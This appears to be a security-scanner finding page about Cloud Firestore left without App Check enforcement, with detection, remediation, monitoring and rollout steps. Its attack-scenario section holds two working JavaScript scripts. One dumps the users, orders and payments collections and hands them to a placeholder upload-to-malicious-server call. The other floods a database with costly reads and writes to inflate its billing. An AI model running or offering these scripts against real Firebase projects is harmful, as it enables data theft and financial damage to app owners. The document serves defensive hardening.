Firebase App Check: Enforcement Not Enabled for Cloud Firestore¶
Name: App Check Enforcement Not Enabled for Cloud Firestore
Applicable Services: Cloud Firestore, Firebase App Check
Description¶
Critical Service Protection Gap
The Configuration Flaw: App Check enforcement has not been enabled for Cloud Firestore, meaning that even if App Check is configured for client applications, Firestore requests are not being validated against App Check tokens.
Intended Behavior: When App Check enforcement is enabled for Firestore, all requests must include a valid App Check token proving they originate from a verified app instance. Without enforcement, this critical protection layer is bypassed.
The Risk: Unprotected Firestore instances are vulnerable to abuse from bots, scripts, and tampered applications, potentially leading to data breaches, billing fraud, and service disruption.
Impact¶
Severe Data and Financial Consequences
Missing App Check enforcement for Firestore creates multiple attack vectors:
- Data Exfiltration: Attackers can systematically download all accessible Firestore data
- Data Corruption: Malicious actors can modify or delete critical business data
- Billing Fraud: Automated scripts can generate excessive read/write operations
- Spam Injection: Bots can flood collections with spam or malicious content
- Service Degradation: Resource exhaustion attacks can impact legitimate users
- Compliance Violations: Unprotected databases may violate data protection regulations
Example Attack Scenarios¶
Exploit Scenario: Automated Firestore Data Mining
This attack demonstrates how missing App Check enforcement enables large-scale data extraction.
The Vulnerable Configuration:
# App Check shows Firestore enforcement as "UNENFORCED"
$ gcloud app-check services list
SERVICE ENFORCEMENT_MODE
firestore.googleapis.com UNENFORCED
storage.googleapis.com ENFORCED
Attack Steps: 1. Attacker discovers Firebase project configuration from client-side code 2. Creates automated script to systematically query Firestore collections 3. Bypasses App Check validation since enforcement is disabled 4. Extracts all accessible data based on security rules 5. Sells or exploits sensitive user information
Data Mining Script:
// Malicious data extraction script - no App Check token required
import { initializeApp } from 'firebase/app';
import { getFirestore, collection, getDocs, query, limit, startAfter, orderBy } from 'firebase/firestore';
const firebaseConfig = {
// Victim's configuration
projectId: "vulnerable-app-12345",
// ... other config extracted from client code
};
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
async function extractAllData() {
const collections = ['users', 'orders', 'payments', 'messages'];
const extractedData = {};
for (const collectionName of collections) {
console.log(`Extracting ${collectionName}...`);
extractedData[collectionName] = [];
// Paginated extraction to avoid memory issues
let lastDoc = null;
let hasMore = true;
while (hasMore) {
let q = query(
collection(db, collectionName),
orderBy('__name__'),
limit(1000)
);
if (lastDoc) {
q = query(q, startAfter(lastDoc));
}
const snapshot = await getDocs(q);
if (snapshot.empty) {
hasMore = false;
} else {
snapshot.forEach(doc => {
extractedData[collectionName].push({
id: doc.id,
data: doc.data()
});
});
lastDoc = snapshot.docs[snapshot.docs.length - 1];
console.log(`Extracted ${extractedData[collectionName].length} documents from ${collectionName}`);
}
}
}
// Exfiltrate data to external server
await uploadToMaliciousServer(extractedData);
console.log('Data extraction complete');
}
// Execute the attack
extractAllData().catch(console.error);
Outcome: Attacker successfully extracts all user data, order history, and payment information without any App Check verification.
Exploit Scenario: Firestore Billing Bomb Attack
This scenario shows how attackers can deliberately inflate Firestore costs.
The Attack Strategy: 1. Identify Firestore without App Check enforcement 2. Create scripts to generate maximum billable operations 3. Focus on expensive operations (complex queries, large document writes) 4. Use distributed attack infrastructure to amplify impact
Billing Amplification Script:
async function amplifyFirestoreCosts() {
const expensiveOperations = [];
// Generate expensive read operations
for (let i = 0; i < 10000; i++) {
// Complex queries that consume many document reads
const complexQuery = query(
collection(db, 'products'),
where('category', '==', `category_${i % 100}`),
where('price', '>', Math.random() * 1000),
orderBy('price'),
orderBy('popularity'),
limit(50)
);
expensiveOperations.push(getDocs(complexQuery));
// Large document writes to consume storage and write operations
const largeDocument = {
timestamp: new Date(),
largeArray: new Array(1000).fill(0).map(() => ({
id: Math.random().toString(36),
data: Math.random().toString(36).repeat(100),
metadata: {
created: new Date(),
tags: new Array(20).fill(0).map(() => Math.random().toString(36))
}
}))
};
expensiveOperations.push(
addDoc(collection(db, 'billing_spam'), largeDocument)
);
}
// Execute all operations concurrently for maximum impact
await Promise.allSettled(expensiveOperations);
}
// Run multiple instances in parallel
const attackInstances = [];
for (let i = 0; i < 50; i++) {
attackInstances.push(amplifyFirestoreCosts());
}
Promise.allSettled(attackInstances);
Financial Impact: This attack can generate thousands of document reads and writes within minutes, potentially costing hundreds of dollars per hour.
Detection¶
Check App Check Enforcement Status¶
Firebase Console Method¶
- Go to Firebase Console → App Check → Products
- Look for "Cloud Firestore" in the services list
- Check the enforcement status:
- 🔴 Unenforced: App Check tokens are not required
- 🟡 Unenforced with metrics: Tokens validated but requests not blocked
- 🟢 Enforced: All requests must include valid App Check tokens
Using gcloud CLI¶
# Check App Check enforcement for all services
gcloud app-check services list
# Check specific Firestore enforcement status
gcloud app-check services describe firestore.googleapis.com
# Get detailed enforcement configuration
gcloud app-check services describe firestore.googleapis.com \
--format="table(name:label='Service',enforcementMode:label='Enforcement')"
Using Firebase Admin SDK¶
const admin = require('firebase-admin');
async function checkFirestoreAppCheckStatus() {
try {
const serviceConfig = await admin.appCheck().getServiceConfig('firestore.googleapis.com');
console.log('Firestore App Check Status:');
console.log(`Enforcement Mode: ${serviceConfig.enforcementMode}`);
console.log(`Service Name: ${serviceConfig.name}`);
const isProtected = serviceConfig.enforcementMode === 'ENFORCED';
console.log(`Protected: ${isProtected ? '✅ YES' : '❌ NO'}`);
if (!isProtected) {
console.warn('⚠️ WARNING: Firestore is not protected by App Check enforcement!');
}
return {
protected: isProtected,
enforcementMode: serviceConfig.enforcementMode
};
} catch (error) {
console.error('Error checking Firestore App Check status:', error);
if (error.code === 'NOT_FOUND') {
console.warn('⚠️ App Check not configured for Firestore');
return { protected: false, enforcementMode: 'NOT_CONFIGURED' };
}
throw error;
}
}
Monitor for Unverified Requests¶
Cloud Functions Monitoring¶
// Monitor for requests missing App Check tokens
exports.monitorFirestoreAccess = functions.firestore
.document('{collection}/{docId}')
.onWrite(async (change, context) => {
// Check if request includes App Check context
if (!context.app) {
// Log potential unauthorized access
console.warn('Firestore write without App Check token:', {
collection: context.params.collection,
document: context.params.docId,
timestamp: new Date().toISOString(),
eventType: change.before.exists ? 'UPDATE' : 'CREATE'
});
// Alert security team for potential abuse
await alertSecurityTeam({
type: 'unverified_firestore_access',
details: {
collection: context.params.collection,
operation: change.before.exists ? 'update' : 'create',
timestamp: new Date().toISOString()
}
});
}
});
Analytics and Metrics¶
// Track App Check verification rates
async function analyzeAppCheckMetrics() {
try {
// Query Firebase Analytics or custom metrics
const metrics = await getFirestoreAccessMetrics();
const analysis = {
totalRequests: metrics.totalRequests,
verifiedRequests: metrics.verifiedRequests,
unverifiedRequests: metrics.unverifiedRequests,
verificationRate: metrics.verifiedRequests / metrics.totalRequests,
suspiciousPatterns: []
};
// Identify suspicious patterns
if (analysis.verificationRate < 0.8) {
analysis.suspiciousPatterns.push('Low App Check verification rate');
}
if (metrics.unverifiedRequests > metrics.verifiedRequests * 0.1) {
analysis.suspiciousPatterns.push('High volume of unverified requests');
}
// Check for request pattern anomalies
const requestFrequency = metrics.requestsPerMinute;
if (requestFrequency > metrics.baseline * 5) {
analysis.suspiciousPatterns.push('Unusual request frequency spike');
}
return analysis;
} catch (error) {
console.error('Error analyzing App Check metrics:', error);
}
}
Remediation¶
Step 1: Enable App Check Enforcement for Firestore¶
Using Firebase Console¶
- Navigate to Firebase Console → App Check → Products
- Find "Cloud Firestore" in the services list
- Click the toggle or "Enable" button next to Firestore
- Choose enforcement mode:
- Unenforced with metrics: Collect data without blocking requests (recommended for testing)
- Enforced: Block all requests without valid App Check tokens
Using gcloud CLI¶
# Enable App Check enforcement for Firestore
gcloud app-check services update firestore.googleapis.com \
--enforcement-mode=ENFORCED
# Enable with metrics collection first (recommended)
gcloud app-check services update firestore.googleapis.com \
--enforcement-mode=UNENFORCED
# Monitor metrics for 24-48 hours, then enforce
gcloud app-check services update firestore.googleapis.com \
--enforcement-mode=ENFORCED
Using Firebase Admin SDK¶
async function enableFirestoreAppCheckEnforcement() {
try {
// Step 1: Enable metrics collection without enforcement
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'UNENFORCED'
});
console.log('✅ Firestore App Check metrics collection enabled');
console.log('📊 Monitor metrics for 24-48 hours before full enforcement');
// Step 2: After monitoring period, enable full enforcement
// (Run this after reviewing metrics)
// await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
// enforcementMode: 'ENFORCED'
// });
return true;
} catch (error) {
console.error('Error enabling Firestore App Check enforcement:', error);
throw error;
}
}
// Helper function to enable enforcement after metrics review
async function enforceFirestoreAppCheck() {
try {
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'ENFORCED'
});
console.log('🛡️ Firestore App Check enforcement enabled');
console.log('📊 Monitor for any issues and be ready to adjust if needed');
return true;
} catch (error) {
console.error('Error enforcing Firestore App Check:', error);
throw error;
}
}
Step 2: Gradual Rollout Strategy¶
Phase 1: Metrics Collection¶
// Implement gradual rollout to minimize user impact
async function phase1_EnableMetrics() {
console.log('Phase 1: Enabling App Check metrics collection...');
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'UNENFORCED'
});
// Set up monitoring
await setupAppCheckMonitoring();
console.log('✅ Metrics collection enabled. Monitor for 24-48 hours.');
}
async function setupAppCheckMonitoring() {
// Create monitoring dashboard
const monitoringConfig = {
alerts: [
{
condition: 'app_check_verification_rate < 0.9',
action: 'email_alert',
recipients: ['security-team@company.com']
},
{
condition: 'unverified_requests > 1000/hour',
action: 'slack_alert',
channel: '#security-alerts'
}
]
};
await configureMonitoring(monitoringConfig);
}
Phase 2: Conditional Enforcement¶
// Phase 2: Selective enforcement based on request patterns
async function phase2_ConditionalEnforcement() {
console.log('Phase 2: Implementing conditional enforcement...');
// Enable enforcement only during high-risk periods
const currentHour = new Date().getHours();
const isHighRiskPeriod = currentHour < 6 || currentHour > 22; // Night hours
if (isHighRiskPeriod) {
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'ENFORCED'
});
console.log('🛡️ Enforcement enabled during high-risk period');
} else {
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'UNENFORCED'
});
console.log('📊 Metrics mode during normal business hours');
}
}
Phase 3: Full Enforcement¶
// Phase 3: Enable full enforcement after successful testing
async function phase3_FullEnforcement() {
console.log('Phase 3: Enabling full App Check enforcement...');
try {
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'ENFORCED'
});
console.log('🛡️ Full App Check enforcement enabled for Firestore');
// Set up comprehensive monitoring
await setupProductionMonitoring();
} catch (error) {
console.error('Error in full enforcement phase:', error);
// Rollback if needed
await admin.appCheck().updateServiceConfig('firestore.googleapis.com', {
enforcementMode: 'UNENFORCED'
});
throw error;
}
}
Step 3: Handle Client-Side Integration¶
Ensure App Check Tokens in Client Applications¶
// Client-side: Ensure App Check is properly initialized
import { getToken } from 'firebase/app-check';
async function performFirestoreOperation() {
try {
// Verify App Check token before Firestore operations
const appCheckToken = await getToken(appCheck, /* forceRefresh= */ false);
if (!appCheckToken.token) {
throw new Error('App Check token not available');
}
// Proceed with Firestore operation
const docRef = doc(db, 'collection', 'document');
const docSnap = await getDoc(docRef);
return docSnap.data();
} catch (error) {
if (error.code === 'app-check/throttled') {
console.warn('App Check throttled, implementing exponential backoff');
await implementExponentialBackoff();
return performFirestoreOperation(); // Retry
} else if (error.code === 'app-check/fetch-token-error') {
console.error('App Check token fetch failed:', error);
throw new Error('Unable to verify app authenticity');
} else {
console.error('Firestore operation failed:', error);
throw error;
}
}
}
async function implementExponentialBackoff() {
const delay = Math.min(1000 * Math.pow(2, retryCount), 30000);
await new Promise(resolve => setTimeout(resolve, delay));
}
Step 4: Production Monitoring and Alerting¶
Comprehensive Monitoring Setup¶
// Set up production monitoring for App Check enforcement
exports.monitorAppCheckEnforcement = functions.pubsub
.schedule('every 5 minutes')
.onRun(async (context) => {
try {
const metrics = await collectAppCheckMetrics();
// Check for critical issues
if (metrics.verificationRate < 0.8) {
await sendCriticalAlert({
type: 'low_app_check_verification_rate',
rate: metrics.verificationRate,
threshold: 0.8
});
}
if (metrics.blockedRequests > 1000) {
await sendAlert({
type: 'high_blocked_requests',
count: metrics.blockedRequests,
timeframe: '5 minutes'
});
}
// Store metrics for trending analysis
await storeMetrics(metrics);
} catch (error) {
console.error('Error monitoring App Check enforcement:', error);
}
});
async function collectAppCheckMetrics() {
// Collect metrics from various sources
const metrics = {
timestamp: new Date(),
verificationRate: await getVerificationRate(),
blockedRequests: await getBlockedRequestCount(),
tokenFailures: await getTokenFailureCount(),
serviceLatency: await getServiceLatency()
};
return metrics;
}
Prevention Best Practices¶
Configuration Management¶
- Infrastructure as Code: Use Terraform or Firebase CLI to manage App Check configuration
- Environment Consistency: Ensure App Check settings are consistent across environments
- Configuration Audits: Regularly review App Check enforcement settings
- Change Management: Implement approval processes for App Check configuration changes
Monitoring and Alerting¶
- Real-time Monitoring: Set up alerts for App Check verification failures
- Metrics Dashboard: Create dashboards to track App Check performance
- Anomaly Detection: Implement automated detection of unusual request patterns
- Incident Response: Define procedures for App Check-related security incidents
Testing and Validation¶
- Staging Environment: Test App Check enforcement in staging before production
- Gradual Rollout: Implement phased rollout to minimize user impact
- Fallback Plans: Prepare rollback procedures in case of issues
- User Experience: Monitor user experience metrics during enforcement activation